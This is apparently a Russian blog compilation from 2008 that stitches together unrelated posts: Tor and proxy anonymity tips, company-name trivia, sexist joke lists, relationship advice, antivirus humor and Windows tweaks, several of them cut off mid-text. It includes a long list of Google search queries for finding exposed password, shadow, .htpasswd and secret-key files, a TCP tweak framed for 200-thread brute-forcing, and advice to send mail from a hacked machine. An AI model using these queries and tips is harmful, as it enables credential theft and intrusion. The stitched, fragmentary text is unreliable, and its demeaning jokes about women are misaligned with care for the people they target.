3 причины по которым не следует использовать анонимную сеть TOR

2008-03-18

Во многих источниках сейчас популяризуется сеть TOR ( http://tor.eff.org ) как лучшее средство для обеспечения анонимности в интернете. Но, на мой взгляд, это очень слабое средство анонимности, которое рекомендовать нельзя. Как минимум по следующим трем причинам:

* Система TOR создана в исследовательской лаборатории Военно-морских сил США по федеральному заказу. В связи с этим возникает подозрение, что TOR — это разработка американских спецслужб, которая позволяет легко отслеживать перемещения по этой сети клиентов и перехватывать их трафик. Поэтому TOR может быть банальной ловушкой для людей, которым есть что скрывать.

* В сети TOR существуют так называемые "узлы выхода", откуда пользовательский запрос после передачи от узла к узлу внутри TOR попадает на сайт назначения и обратно. Фактически любой желающий может включить в эту сеть свой "узел выхода" и просматривать весь проходящий через него сетевой трафик. Так, например, в 2007 году шведский исследователь компьютерной безопасности Дэн Эгерстад (Dan Egerstad) создал несколько "узлов выхода" и в результате перехватил пароли примерно к 1000 учетных записей почты, из которых 100 принадлежали дипломатам, а некоторые – сотрудникам одной из крупных корпораций с годовым оборотом более $10 млрд. Подробнее об этом можно прочитать по этому адресу: http://safe.cnews.ru/news/line/index.shtml?2007/09/10/265589 . Единственный способ защиты в данном случае – это шифрование, например, соединяться только с сайтами, использующими SSL (они имеют префикс https://).

* Через ошибки в ПО вашего компьютера, например, в браузере, может быть легко раскрыта ваша анонимность в сети TOR. Серия подобных взломов с использованием уязвимости в Internet Explorer была совершена хакерами в преддверии хакерской конференции Defcon 2007. Кроме того, ПО, предназначенное для работы с TOR, также не застраховано от ошибок. Например, в версии Tor 0.1.2.16 присутствовала серьезная уязвимость, которая позволяла взломщику при определенных настройках программы полностью раскрыть анонимность пользователя в большинстве конфигураций. В последующих версиях TOR эта уязвимость была устранена.

В целом TOR идеально подходит для анонимного просмотра страничек каких-нибудь Васей Пупкиных, но если вы серьезно озабочены своей анонимностью, тем более в американском сегменте сети, наверное, стоит подумать об альтернативных средствах анонимности.

Самым лучшим способом для обеспечения анонимности в интернете в наше время является связка VPN+Socks. При этом для надежности следует использовать цепочку из Socks.
[614x347]

Ниже я хочу рассказать (раскрыть?) несколько секретов прокси-серверов, которые более продвинутые должны знать:

1 секрет. Некоторые с виду анонимные http-прокси могут все равно самым наглым образом выдать ваш настоящий IP-адрес. Суть в том, что IP-адрес может передаваться во многих параметрах http-заголовка: REMOTE_ADDR, HTTP_CLIENT_IP, HTTP_X_FORWARDED_FOR, HTTP_XROXY_CONNECTION и т.п. Однако основным является параметр REMOTE_ADDR — именно по этой переменной окружения большинство систем определяет IP-адрес клиента. Так вот, некоторые "анонимные" http-прокси замечательно скрывают IP-адрес в переменной REMOTE_ADDR, но забывают это сделать в других переменных. Поэтому если удаленная система фиксирует все остальные переменные, то вы можете легко "залететь". Вот скрипт на PHP, который может протестировать все необходимые переменные окружения на анонимность:



Но даже если в этих переменных не окажется вашего реального IP-адреса, то все равно любой мусор в значениях этих переменных с большой долей вероятности указывает на то, что клиент использует прокси. Поэтому прокси, которые передают пустыми все перечисленные http-переменные, кроме REMOTE_ADDR, называют высокоанонимными (high anonymous) или элитными проксями (elite proxy).
Все сказанное касается только http-прокси. Сокс-прокси построены на другом уровне, они полностью туннелируют tcp пакеты, соответственно они физически не могут вписать ваш IP в какой-нибудь параметр или указать, что они прокси. Все соксы элитны по умолчанию. Но это совсем не означает, что целевой сайт не сможет определить наличие сокс-прокси — он это может сделать, например, выполнив коннект к популярным портам.

2 секрет. Напомню, что если вы посылаете письмо обычным почтовым клиентом или через web-интерфейс почтовой службы, такой как mail.ru, в заголовке письма в любом случае остается ваш реальный IP-адрес. Поэтому во многих источниках рекомендуется для анонимной рассылки почты (для сокрытия своего IP-адреса в заголовке почтового сообщения) использовать socks-прокси (http-прокси не работают с протоколом SMTP), для чего рекомендуется соксифицировать свой почтовый клиент и т. п. Так вот, запомните: сокс-прокси не способен скрыть ваш реальный IP-адрес в заголовке отправляемого почтового сообщения!
Даже если при проверке вы послали письмо через сокс-прокси и в его заголовке не оказалось вашего реального IP — это лишь исключение из правила и наверняка это является особенностью SMTP-сервера, а не прокси. Если вдаваться в технические подробности, то суть в том, что клиент должен в начале установления соединения передать приветствие HELO с указанием своего IP-адреса или имени (если оно есть), по которому SMTP-сервер сам определит IP-адрес. Сокс-прокси не способны менять никакие поля заголовков, поэтому они передают приветствие как есть и весь смысл прокси от этого теряется.
Для того чтобы послать анонимное письмо нужно искать т.н. анонимные SMTP сервера (anonymous SMTP) — такие сервера не требуют, чтобы им посылали приветствие HELO.
Также для анонимной рассылки писем можно написать простейший скрипт на PHP или Perl и с помощью него послать анонимное письмо с какого-нибудь бесплатного хостинга или взломанной машины — на которую в свою очередь следует зайти под прокси. Можно поискать специальные web-службы, которые предоставляют возможность посылать анонимные письма и т. д. Но соксифицировать почтовый клиент БЕСПОЛЕЗНО!
Однако следует заметить автор программы-соксификатора FreeCap предлагает скачать плагин к своей программе под названием HELO/EHLO obfuscator ( http://freecap.ru/files/plugins/ehlo_plugin.rar ), который способен прятать ваш IP-адрес в заголовке письма. Поэтому, если вы действительно хотите добиться анонимности посылаемых писем с помощью соксификации, не забудьте установить этот плагин. Если вы используете другую программу-соксификатор, проверьте чтобы в ней имелась подобная опция.

3 секрет. Большинство прокси-серверов в интернете явно находятся под контролем спецслужб, и даже если вы выстроите цепочку из прокси, все равно есть большой шанс, что вы не избежите расплаты. Об этом я довольно подробно писал давным-давно http://www.sklyaroff.ru/x8.htm и повторяться не буду.
В настоящее время для сокрытия IP-адреса стало модно использовать систему TOR: http://tor.eff.org .
Я не советую использовать эту систему для серьезных дел, тем более в американском сегменте сети, т. к. почти наверняка TOR — это разводка американских спецслужб. Подумайте сами как удобно спецслужбам создать такую "анонимную" сеть, куда люди входят и сами светят все свои секретные данные, ведь неизвестно по каким серверам ходят ваши данные в этой сети и неизвестно кому эти сервера реально принадлежат.
[641x252]

Adobe – названа в честь реки Adobe Creek, которая текла за домом основателя компании Джона Ворнока (John Warnock).

Adidas - в честь одного из основателей Ади Даслера

Apache – Изначально компания занималась поставкой патчей к программам. От этого произошло 'A PAtCHy', которое транформировалось в Apache. У индейцев есть своя версия =)

Apple – любимый фрукт основателя компании Стива Джобса (Steve Jobs). После трех месяцев тщетных попыток найти название для нового бизнеса, он поставил свой партнером ультиматум: «Я назову компанию Apple, если к 5ти часам вы не предложите лучшего». Apple's Macintosh – название сорта яблок, продавашегося в США.

Canon – в честь Kwanon, буддийского бога милосердия. Было изменено на Canon, чтобы избежать протестов религиозных организаций

Casio – в честь основателя компнии Касио Тадао (Kashio Tadao).

Cisco – сокращенно San Francisco.

Compaq – от Comp и paq (маленькая интегрированная деталь)

Corel – в честь основателя компании Майкла Коупленда (Dr. Michael Cowpland). Расшифровывается COwpland REsearch Laboratory (Исследовательская лабаратория Коупленда)

Daewoo – основатель компании Ким Ву Чонг (Kim Woo Chong) назвал компанию скромно, «Большая Вселенная», именно так переводится с корейского.

Fuji – в честь самой высокой горы Японии, Фудзи.

Google - название произошло от слова Googol, означающее единицу со 100 нулями. А Google было написано на чеке, который основатели этого проекта (среди которых, кстати, бывший россиянин - Сергей Брин) получили от первого инвестора. После этого они назвали поисковик именно так.

HP (Hewlett-Packard) – основатели Билл Хьюлетт (Bill Hewlett) и Дэйв Паккард (Dave Packard) бросали монетку, чтобы решить, чье имя будет первым в названии. Как вы понимаете, выиграл Билл.

Hitachi – по-японски рассвет.

Honda – имя основателя Soichiro Honda

Honeywell – имя основателя Mark Honeywell

Hotmail – основателю Джеку Смиту (Jack Smith) пришла идея доступа к электронной почте через web из любой точки мира. Когда Сабир Бхатиа (Sabeer Bhatia) появился с бизнес-планом данного сервиса, он перебрал все слова, оканчивающиеся на «mail» и в конце концов остановился на hotmail, так как в названии присутствовали буквы HTML (язык разметки веб-страниц).

Hyundai – по-корейски «настоящее» (время)

IBM - International Business Machines.

Intel – Боб Нойс (Bob Noyce) и Гордон Мур (Gordon Moore) хотели назвать компанию 'Moore Noyce', но к тому времени уже сущестовала сеть отелей с таким названием. Так что они решили остановиться на сокращении от INTegrated ELectronics.

Kawasaki – в честь основателя Shozo Kawasaki

Kodak – K – любимая буква Джорджа Истмена (George Eastman), основателя компании. Он искал слова, начинающиеся и заканчивающиеся этой замечательной буквой. Тем более, что во всех алфавитах "K" пишется одинаково. В конце концов, было выбрано Кодак, якобы именно такой звук производит фотокамера при съемке.

Konica – ранее известна, как Konishiroku Kogaku.

LG – первые буквы двух корейских брэндов Lucky и Goldstar.

Lotus – Митч Капор (Mitch Kapor), основатель компании, занимался медитацией. Отсюда и название (поза лотоса)

Microsoft - MICROcomputer SOFTware. Изначально писалось, как Micro-Soft. Затем черточку убрали.

Mitsubishi – придумал основатель компании Ятаро Ивасаки (Yataro Iwasaki) в 1870 году. По-японски означает «Три бриллианта». Название отображено и в логотипе компании.

Motorola – основатель Поль Гэлвин (Paul Galvin) придумал название, когда его компания начинала производство радио для машин. Многие производители аудио-компонентов в то время заканчивались на "ola".

Mozilla Foundation – преемник браузаера Netscape Navigator. Когда Марк Адерсен (Marc Andreesen), основатель Netscape, создал браузер на замену Mosaic, внутри компании его называли Mozilla (Mosaic-Killer, Godzilla).

Nabisco – изначально «The NAtional BISCuit COmpany», в 1971 изменилось на Nabisco.

Nikon - изначально Nippon Kogaku, означает "Японская оптика".

Nintendo – составное из 3ех японских иероглифов «Nin-ten-do», которые можно перевести как "небеса благославляют тяжелую работу"

Nissan - ранее известна, как Nichon Sangio, что означает "Японская индустрия".

Nokia – начиналась, как деревообрабатывающий завод, разрослась до производства резиновых изделий в финском городе Nokia.

Novell – название придумала жена соучредителя Джоджа Канова (George Canova). Она ошибочно думала, что «Novell» по-французски означает «новый».

Oracle – основатели компании Ларри Эллинсон (Larry Ellison) и Боб Уотс (Bob Oats) работали над консалтинговым проектом для ЦРУ, кодовое имя которого было Oracle. В последствии проект был закрыт, но имя осталось.

Sanyo – по-китайски "Три океана"

SAP - "Systems, Applications, Productss in Data Processing", основана 4мя бывшими сотрудниками IBM'а, которые работали в группе 'Systems/Applications/Projects'.

SCO - от Santa Cruz Operation.

Siemens – основана в 1847 Вернером фон Сименсом (Werner Читать далее...

Инструкция в стихах: Как выбирать жену


Очень важно для мужчины
Выбрать правильно жену!
В жизни часто так бывает,
Что и не раз и не одну…

Всё надо делать по науке!
Ты глубже в знания вникай,
А как их применять на деле,
Мою инструкцию читай.

Больших размеров жён не надо.
Их трудно будет прокормить.
И вам из ЗАГСа трудно будет
Невесты тело выносить.

Жена чем меньше, тем и лучше:
Не столько ест, сколько клюёт
И материала ей на платье,
Гораздо меньше ведь пойдёт.

Худую – не рекомендую.
Вам жестковато будет спать…
А чем худее, тем стервозней!
И вам нелишне это знать.

О красоте вопрос не праздный.
Шкалы особенной здесь нет.
Однако, чем пьяней ты будешь,
Тем красивей любви предмет…

Поэтому, идя на дело,
Не пей ни водки, ни вина.
Лишь трезвым оценить ты сможешь
В чём претендентки красота.

Учти, красавица девица –
У ней поклонников вагон!
А если ближе к крокодилу –
Один дурак на миллион.

Красавицу не выбирайте,
Вам не в кино её снимать…
А вот с умеренно красивой,
Приятно будет погулять.

Но не забудь про мать невесты,
Одним глазком хоть посмотри.
Невеста – в молодости тёща!
Поймёшь, чего ждать впереди…

И умных женщин не ищите.
Пустое это дело брат!
А если всё-таки найдёшь ты,
То значить, сам ты глуповат…

Жена должна уметь готовить:
Печь пироги, варить борщи…
С дипломом повара – прекрасно!
Не то всю жизнь хле*ать вам щи.

Жена должна уметь всё сразу:
Стирать, готовить, убирать…
Тут примечание: при этом,
Вас к этому, не привлекать!

Чтоб не любила «мыльных» опер,
Боготворила бы футбол,
Ещё рыбалку и охоту.
И это, вовсе не прикол.

Чтобы детей сама растила,
Их проверяла дневники…
Чуть не забыл, чтоб эти дети,
Конечно, были бы твои.

Чтоб не перечила бы мужу,
А только слушалась его.
Чтобы любила больше тёщи
Тебя и только одного!

Сама за хлебом чтоб ходила,
Сама могла бы гвоздь забить,
Чтоб выпивать не запрещала,
Ну и конечно, же курить.

Про деньги разговор особый.
Зарплату ей не отдавай!
Жена сама должна «крутиться»,
Тогда в семье наступит рай!

И вот когда найдёшь такую,
Не бойся с нею в ЗАГС идти.
Но тут проблема возникает,
А где такую вот, найти?

На свете есть множество вещей, которые могут смутить кого угодно, даже самого хладнокровного человека. Но, как оказывается, легче всего смутить представительниц прекрасного пола, у которых причин для смущения намного больше, чем у мужчин.

Более того, этими причинами могут быть такие вещи, которые вряд ли смутят среднестатического представителя сильного пола. Хотя бы по той простой причине, что между полами существуют чисто физиологические различия.

Предлагаем вашему вниманию 12 основных вещей в жизни женщин, которые вызывают у них наибольшее смущение.

1. ПЕРВЫЕ МЕСЯЧНЫЕ

Даже несмотря на то, что сейчас многие девочки знают все о первых месячных, девочки все равно их боятся. Это происходит потому, что, как правило, кровь ассоциируется с повреждением тела, тем более не многие 12-летние девочки решаются сообщить своим матерям о первой менструации.

2. ПЕРВЫЙ ПОЦЕЛУЙ

Многие люди переживают из-за первого поцелуя или первого сексуального контакта, потому что не знают, как все пройдет и не разочаруется ли в них партнер. Особенно это верно для женщин, потому что о том, как они выглядят со стороны во время интимного контакта, мужчины задумываются достаточно редко.

3. ВИЗИТ К ГИНЕКОЛОГУ

Вряд ли найдется на планете женщина, которой понравится, когда кто-то орудует внутри нее холодными инструментами. Многих смущает и то, что им приходится раздеваться перед незнакомым человеком, тем более, если гинеколог – мужчина.

4. БЫТЬ УВИДЕННЫМИ В ПОСТЕЛИ С МУЖЧИНОЙ

Ночным кошмаром для многих девушек оказывается быть увиденными своими родителями в постели с кем-то еще, даже если девушка уже стала совершеннолетней.

5. БЫТЬ ПОЙМАННЫМИ НА ИЗМЕНЕ ПАРТНЕРУ

Без комментария.

6. ПЯТНА НА ОДЕЖДЕ ИЗ-ЗА МЕСЯЧНЫХ

Это может смутить практически любую женщину, независимо от возраста, внешности и социального статуса.

7. ДУРНОЙ ЗАПАХ ИЗО РТА

Эта причина для смущения не такая уж редкая – примерно 25% всех людей в мире периодически страдают от неприятного запаха изо рта, а около 40% испытывают это состояние постоянно.

8. ЗАПАХ ПОТА

Запах пота может нанести серьезный ущерб репутации любого человека при общении с другими людьми. Кстати, пот сам по себе не имеет запаха – пот начинает пахнуть только после соприкосновения с кожей.

9. ПОНОШЕННОЕ НИЖНЕЕ БЕЛЬЕ

Существует старинное правило для женщин: "Не носите нижнее белье с дырками, потому что никогда не знаете, где вам придется раздеваться". Особенно, если раздеваться придется перед мужчиной, с которым потом предстоит заниматься сексом.

10. ЖЕНАТЫЙ ЛЮБОВНИК

Для большинства женщин узнать, что встреченный "принц на белом коне" неожиданно оказывается женатым, становится очень неприятным фактом. Особенно, если у него к тому же еще есть трое детей. Кстати, священная мужская мантра: "Моя жена меня не понимает", - в большинстве случаев оказывается обманом и пустым трепом.

11. ПРЫЩИКИ

Все, что касается собственной внешности, может привести женщин в смущение, особенно, если впереди предстоит важная встреча или свидание.

12. СЛУЧАЙНОЕ ВЫПУСКАНИЕ ГАЗОВ

Что тут сказать? "Принцессы не пукают".

Женщина - кто это?

1 . Женщина-интеpнет: женщина, к котоpой тяжело достучаться.

2. Женщина-сеpвеp: занята всегда, когда вы нуждаетесь в ней.

3. Женщина-windows: все мужчины отлично знают, что она ничего не может сделать пpавильно, но все pавно не могут без нее жить.

4. Женщина-linuX: она самая лучшая в постели, но слишком долго настраивается.

5. Женщина-Excel: она утвеpждает что многое умеет, но вам от нее нужны только секс и гоpячий ужин.

6. Женщина-DOS: такая женщина была в жизни каждого мужчины, и больше вы ее не хотите.

7. Женщина-виpус: она пpиходит, когда ее меньше всего ждут, pаспаковывает вещи и тут же занимает все свободное место. Если вы пытаетесь отвязаться от нее, вы что-то теpяете. Если не пытаетесь теpяете все.

8. Женщина-скpинсейвеp: она ничего не умеет делать. Hо она такая смешная!

9. Женщина-винчестеp: она все ВСЕГДА помнит.

10. Женщина-мультимедиа: она поpет кpасивейшую чушь.

11. Женщина-юзеp: она ломает все, до чего дотpагивается

12. Женщина-RAM: если с ней порвать - она сразу про вас забудет.

13. Женщина-CD-ROM: с каждым разом она все быстрее и быстрее!

14. Женщина-email: из десяти ее фраз каждая восьмая - полная чушь.

15. Женщина-Word: Указывает на любую ошибку

16. Женщина-Оперативная память: Будет помнить пока ее не выключишь

10 фраз, которые укрепляют отношения и семью

Попробуем найти слова-противоядия от разрушения отношений. Слова, укрепляющие отношения. Правда, ломать, как известно, легче.

1. Слова, выражающие желание партнера помириться. «Давай попробуем друг друга понять, найдем общее решение», «Я очень хочу помириться и быть с тобой!»

2. Извинения за принесенную партнеру боль, насилие, оскорбления: «Прости, я был(а) не прав(а), что напрасно обвинил(а) тебя!», «Извини за то, что обидел(а) тебя!»

3. Слова-признания в своих ошибках. «Да, я действительно ошибся», «Ты был(а) прав(а), я действительно не написал(а) это письмо (хотя говорил(а), что точно послал(а) его)»

4. Слова-признания в том, что ссора или конфликт с партнером серьезно сказываются на вашем эмоциональном благополучии. «Я очень страдаю (мучаюсь) из-за того, что мы поссорились».

5. Фразы, которые выражают желание понять боль и страдания другого. «Я правда хочу понять тебя», «Мне действительно важно понять, чем ты ранишься (чем я обижаю тебя)»

6. Фразы, которые выражают желание узнать, чем интересуется партнер, что он(а) чувствует, что он(а) думает. «Мне интересно, какую музыку ты любишь», «Что ты любишь на завтрак?», «Что ты чувствуешь, когда ...?», «Мне важно именно твое мнение». При этом важно, чтобы, если переживания и мысли партнера не очень для вас приятны, вы все равно признавали его (ее) право на такого рода переживания и не теряли интереса и уважения к партнеру. Например, если партнер говорит, что горюет об утрате своих родителей, лучше сказать: «Мне трудно, когда ты не общаешься со мной, но я понимаю, что у тебя большое горе» ( см. также п. 9)

7. Фразы, подчеркивающие важность именно вашего партнера в совместных событиях, праздниках, горестях. «Мне хочется именно с тобой пойти посмотреть это кино (сходить на эту выставку, устроить вечеринку в честь получения диплома)», «Мне хочется с тобой пойти к друзьям (и т.п.), поэтому я дождусь, когда ты вернешься из поездки», «Мне важно именно тебе пожаловаться на мою маму».

8. Слова, раскрывающие ваше отношение, «позитивные» чувства к партнеру, его (ее) ценность в ваших глазах. «Ты мне очень дорог(а)», «Я тебя очень люблю!», «Ты мне очень нужен (нужна)!», «Я очень ценю твою искренность (любовь, доверие, нежность и т.д.)». Особенно важно подчеркнуть значимость долгосрочных отношений с партнером (если вы действительно хотите с ним быть долго).

9. Слова, выражающие ваши «негативные» чувства к партнеру с ясным пояснением, с чем связано данное состояние. «Я злюсь, когда ты меня называешь дураком (дурой)», «Я обижаюсь, когда ты выигрываешь и снисходительно меня похлопываешь по плечу...». Эти так называемые в психологии «Я — сообщения» о своих трудных состояниях чрезвычайно полезны для собственного осознания вашего дурного настроения и конфликта и помогают партнеру понимать, что с вами происходит.

10. Слова-благодарности за то хорошее, что сделал или делает сейчас по отношению к вам партнёр. «Спасибо тебе, что ты устроил(а) мне настоящий праздник!», «Мне очень важно, что ты много звонил(а) мне из-за границы», «Я тебе очень благодарен (благодарна), что ты тогда так поддержал(а) меня!»

Разумеется, все эти фразы обладают «магическим» свойством укреплять и улучшать отношения при одном условии: если вы искренни. Если вы искренне желаете помириться, искренне переживаете боль при раздорах, действительно интересуетесь мнением и чувствами партнера. Иначе «лечебные» фразы тотчас превращаются в ранящее оружие безразличия, фальши, лицемерия и нелюбви.

Издание PC World опубликовало список из десяти событий, которые изменят жизнь интернет-пользователей в ближайшие десять лет.

Список возглавляет, по мнению экспертов, развитие облачных вычислений, которые подразумевает предоставление удаленных вычислительных мощностей и каналов связи заказчику.

На втором месте в списке - интенсивное развитие интерфейса человек-машина. Эксперты указывают на то, что в ближайшие несколько лет команды карманному компьютеру будут подаваться голосом, а очки-дисплей будут дополнять то, что мы видим в реальности. Также появится и новое поколение компьютерных вирусов, некоторые из них будут очень опасными.

На третьей строчке - эволюция вычислительных систем. Имеется в виду, что компьютеры будут работать быстро и без ошибок, а их интерфейс станет значительно более интуитивным.

Четвертое место в списке занимает появление устройств, сохраняющих всю информацию, которую человек получает при жизни.

На пятом месте - развитие смартфонов с распознаванием речи, виртуальными клавиатурами и прочим.

Шестое место в списке принадлежит производству без участия людей.

На седьмой строчке – распознавание изображений. Например, сфотографировав цветок, можно будет отправить запрос в Google, и он сообщит название цветка.

На восьмом месте - возросшие возможности органов власти по контролю за населением, т.е. к примеру, на улице разместят камеры, которые будут распознавать лица так же, как сейчас это делается с номерными знаками машин.

Девятая строчка – развитие беспроводных сетей. Имеется в виду, что владельцы смартфонов уже не будут думать, где можно подключиться к интернету, так как сети будут доступны везде.

Замыкает рейтинг изменение характера отношений с другими людьми. Эксперты отмечают, что интернет-пользователь будущего уже не будет замечать разницы между своими онлайн- и оффлайн-друзьями.

Антивирусы - разбор полетов!

21 сентября 2008 | автор: Ghost | ИнТерЕснятиНка | Просмотров: 127
Касперский

Пехотный батальон. Становится лагерем вокруг компьютера, роет окопы и противотанковые рвы, минирует все к чертовой матери, обматывает колючей проволокой в сорок рядов, распределяет сектора обстрела орудий и пулеметов. Получившуюся оборону можно прорвать лишь при пятикратном (как минимум) численном превосходстве и только после многочасовых бомбардировок.

Преимущества: Враг сможет пройти лишь одним способом - превратив компьютер в выжженую пустыню.
Недостатки: Солдат надо кормить, а минные поля и окопы затрудняют перемещение гражданских, так что от ресурсов системы не остается почти ничего.

AVG

Батальон фольксштурма. Вооружен до зубов, но пользоваться оружием не умеет совершенно, периодически стреляя по своим и накрывая артиллерией совсем не те квадраты, отчего очень часто страдают гражданские. При появлении противника на горизонте начинает судорожно разворачиваться в боевой порядок и пытается рыть окопы прямо под пулями, так как совершенно не позаботился о заблаговременной организации обороны. В итоге ничего сделать не успевает, плюет на все и лупит по наползающим танкам из винтовок - разумеется, без особого толку.

Преимущества: Фольксштурмовцы обходятся подножным кормом, так что ресурсы системы практически не страдают.
Недостатки: Беспорядочная пальба по своим и по гражданским, высокая вероятность сдать позиции за считанные минуты при появлении реального противника.

Avast

Артиллерийская батарея. Эффективна против лобовой атаки - врага, наступающего на нее с фронта, способна перемолоть практически в любых количествах, почти без потерь для себя. Однако для ударов c фланга и, тем более, против заброшенных в тыл диверсантов, весьма уязвима. Разумеется, после того, как орудия будут развернуты в нужном направлении, перемалываются и диверсанты, но на это требуется время.

Преимущества: Артиллеристы кормят себя сами. Не спрашивайте, как - не знаю. Но система остается почти незатронутой.
Недостатки: Низкая оперативность.

Panda

Женский батальон, составленный из институток, вооруженных старенькими винтовками. При малейшем шорохе начинают истошно визжать и палить наугад (обычно - в небо). При виде противника падают в обморок или разбегаются.

Преимущества: Практически не заметен.
Недостатки: Полезный эффект тоже не заметен.

NOD32

Кавалерийский эскадрон. Оборону держать не обучен вовсе, при виде врага тут же бросается на него в атаку. Пытается взять нахрапом, обычно - психической атакой с шашками наголо. Если это не удается с первого раза, рассеивается по оврагам, уходит в партизаны и ждет подходящего момента чтобы повторить процедуру.

Преимущества: Лучшая оборона - это нападение, так что подобная тактика срабатывает всегда, пусть и не с первого раза.
Недостатки: Иногда приходится ждать очень долго. У местных красоток уже рождаются первые детки, похожие на солдат неприятеля, а эскадрон все еще партизанит по лесам и пускает под откос вражеские поезда с женскими подвязками.

McAfee

Танковая бригада. Рычат моторы, пахнет смазкой, чумазые танкисты хватают пробегающих мимо девушек за округлые места, и где-то за лесом идет пальба. Выглядит внушительно и весомо, в бою работает быстро, эффективно и безжалостно. Враг внутрь проникнуть не может хотя бы просто от страха.

Преимущества: Надежность.
Недостатки: Танковая смазка нынче очень дорога, не говоря уже о снарядах и горючем.Иногда забывают за врагов, если вокруг сильно много девушек.

Norton

Вражеская оккупационная армия. Офицеры на правах победителей бесплатно пьют шнапс в роскошных ресторанах, солдаты бегают по дворам, реквизируют съестное, лапают женщин и занимаются мелким бытовым мародерством. Другой-то враг в страну, конечно, уже не пролезет, это да. Но и жизнь в условиях оккупации, знаете ли, тоже не сахар.

Преимущества: Граница на замке. Намертво.
Недостатки: Враг уже внутри.

Dr. Web

Батальон карателей. Окружает компьютер двойным оцеплением, устанавливает военное положение, круглосуточное патрулирование, комендантский час и расстрел на месте за малейшую провинность. Каратели хватаются за оружие по любому поводу, и даже если повода нет, просто жестоко избивают прикладами и коваными сапогами всех, кто покажется им подозрительным, даже если это сам хозяин. Если ходить с поднятыми руками, медленным шагом и повесить на грудь пропуск, есть шанс, что бить будут не сильно и не очень долго.

Преимущества: Враг не пройдет.
Недостатки: Гости и хозяева тоже.

Trend Micro OfficeScan

Батальон наемников-профессионалов. Работают быстро, четко и стопроцентно эффективно, но только за деньги. Не слушают никого, кроме своего центрального офиса. Готовы сжечь даже детский сад или ясли вместе со всеми обитателями, если из центрального офиса сообщат, что это - вражеский опорный пункт.

Преимущества: Nothing personal, just business.
Недостатки: Денег нет? Контракт закрыт, все вопросы к менеджеру.

ClamAV Читать далее...

Есть 2 вида TCP-IP соединений: полуоткрытые (стоящие в очереди) и открытые (действеющие)

Твик TCPIP.SYS позволяюет увеличить число одновременных полуоткрытых или открытых TCP/IP-соединений для ОДНОГО процесса, а твик реестра делает возможным более 10 TCP-IP соединений (суммарно для ВСЕХ процессов).

Например если ты хочешь брутить в 200 потоков то бел твика tcpip.sys тебе не обойтись, т.к. разрешенное кол-во tcp-ip соединений для процесса прописанно именно в нём.
А с твиком реестра ты сможешь запустить 10 процессов каждый из которых бодет по праву получать свои 10 TCP-IP соединений и не больше(10х10=100), суммарно 100, при этом в реестре должно быть разрешенно более 100 TCP-IP соединений.


Твик рееестра иелся ввиду этот:

HKEY_LOCAL_MACHINE - SYSTEM - CurrentControlSet - Services -Tcpip - Parameters
ключ DWORD с названием "TcpNumConnections" параметр 00fffffe или 16777214.

Примеры некотрых запросов на гугле:
Оператор Описание Требует дополнительного параметра?

site: поиск только по указанному в search_term сайту да
filetype: поиск только в документах с типом search_term да
link: найти html страницы, содержащие ссылку на нет указанную html страницу search_term
cache: вывести кэшированную версию для ссылки нет search_term
intitle: найти страницы, содержащие search_term нет в заголовке
all intitle: найти страницы, содержащие все слова нет search_term в заголовке
inurl: найти страницы, содержащие слово нет search_term в своем адресе
all inurl: найти страницы, содержащие все слова нет search_term в своем адресе
Приведу несколько запросов, с помощью которых хакер без труда добывает нужную информацию. Естественно, что только Google помогает ему в этом нелегком деле.
Index.of master.passwd – поиск паролей во FreeBSD
Index.of /admin – почувствуй себя админом!
Index.of ws_ftp.ini – а теперь найдем конфиг для WS_FTPD
Index.of "amount.xls" – или важную банковскую базу
filetype:sql inurl:users – кстати, о базах...
intitle:Usage Statistics for Generated by Webalizer – смотрим статистику
intitle:Index of dbconvert.exe chats – а также логи ICQ-чата
site:jp filetype:pl inurl:txt – это мы уже проходили. Special for Japan :)
filetype:php inurl:file – поиск инклуд-файлов к PHP
inurl:main.php Welcome to phpMyAdmin – дырявый phpMyAdmin
site:gov inurl:Confedential filetype:pdf – под грифом «Совершенно секретно» :)
inurl:number filetype:asp – ищем SQL-инжекцию в ASP-скриптах
Немного сладкого. Попробуйте сами что-нибудь из следующего списка:
1. #mysql dump filetype:sql - поиск дампов баз данных mySQL
2. Host Vulnerability Summary Report - покажет вам какие уязвимости нашли другие люди
3. phpMyAdmin running on inurl:main.php - это заставит закрыть управление через панель phpmyadmin
4. not for distribution confidential 5. Request Details Control Tree Server Variables
6. Running in Child mode
7. This report was generated by WebLog
8. intitle:index.of cgiirc.config
9. filetype:conf inurl:firewall -intitle:cvs – может кому нужны кофигурационные файлы файрволов? smile.gif
10. intitle:index.of finances.xls – мда....
11. intitle:Index of dbconvert.exe chats – логи icq чата
12. intext:Tobias Oetiker traffic analysis
13. intitle:Usage Statistics for Generated by Webalizer
14. intitle:statistics of advanced web statistics
15. intitle:index.of ws_ftp.ini – конфиг ws ftp
16. inurl:ipsec.secrets holds shared secrets – секретный ключ – хорошая находка
17. inurl:main.php Welcome to phpMyAdmin
18. inurl:server-info Apache Server Information
19. site:edu admin grades
20. ORA-00921: unexpected end of SQL command – получаем пути
21. intitle:index.of trillian.ini
22. intitle:Index of pwd.db
23. intitle:index.of people.lst
24. intitle:index.of master.passwd
25. inurl:passlist.txt
26. intitle:Index of .mysql_history
27. intitle:index of intext:globals.inc
28. intitle:index.of administrators.pwd
29. intitle:Index.of etc shadow
30. intitle:index.of secring.pgp
31. inurl:config.php dbuname dbpass
32. inurl:perform filetype:ini
33. intitle:index of intext:connect.inc
34. intitle:Index of .htpasswd htpasswd.bak
35. intitle:Index of .htpasswd htgroup -intitle:dist -apache -htpasswd.c
36. filetype:htpasswd htpasswd
37. filetype:xls username password email
38. filetype:properties inurl:db intext:password
39. filetype:inc intext:mysql_connect
40. filetype:cfm cfapplication name password
41. intitle:index.of.etc
42. egg filetype:user user
43. intitle:Index of config.php

Xyev pepel

Book

Утилита командной строки rundll32.exe
Автор: Юрий Березин
Источник: http://www.goldfaq.ru/

Windows имеет в своем составе утилиту командной строки rundll32.exe, которая позволяет запускать некоторые команды-функции, заложенные в DLL-файлах. Вообще-то данная утилита была разработана для внутреннего пользования программистами Microsoft. Но богатые возможности этой программы дало повод на всеобщее использование пользователями. Список команд слишком обширен.

Приведем список наиболее значимых команд (в котором найдете ОЧЕНЬ интересные команды, ну а как их использовать, думайте сами!).

* rundll32 shell32.dll,Control_RunDLL hotplug.dll - диалоговое окно Отключение или извлечение аппаратного устройства

* rundll32 diskcopy,DiskCopyRunDll - вызов диалога "Копирование диска".

* rundll32 keyboard,disable - отключение клавиатуры, действует до следующей перезагрузки.

* rundll32 mouse,disable - отключение мыши вплоть до перезагрузки.

* rundll32 krnl386.exe,exitkernel - выгрузить ядро системы, выход из Windows.

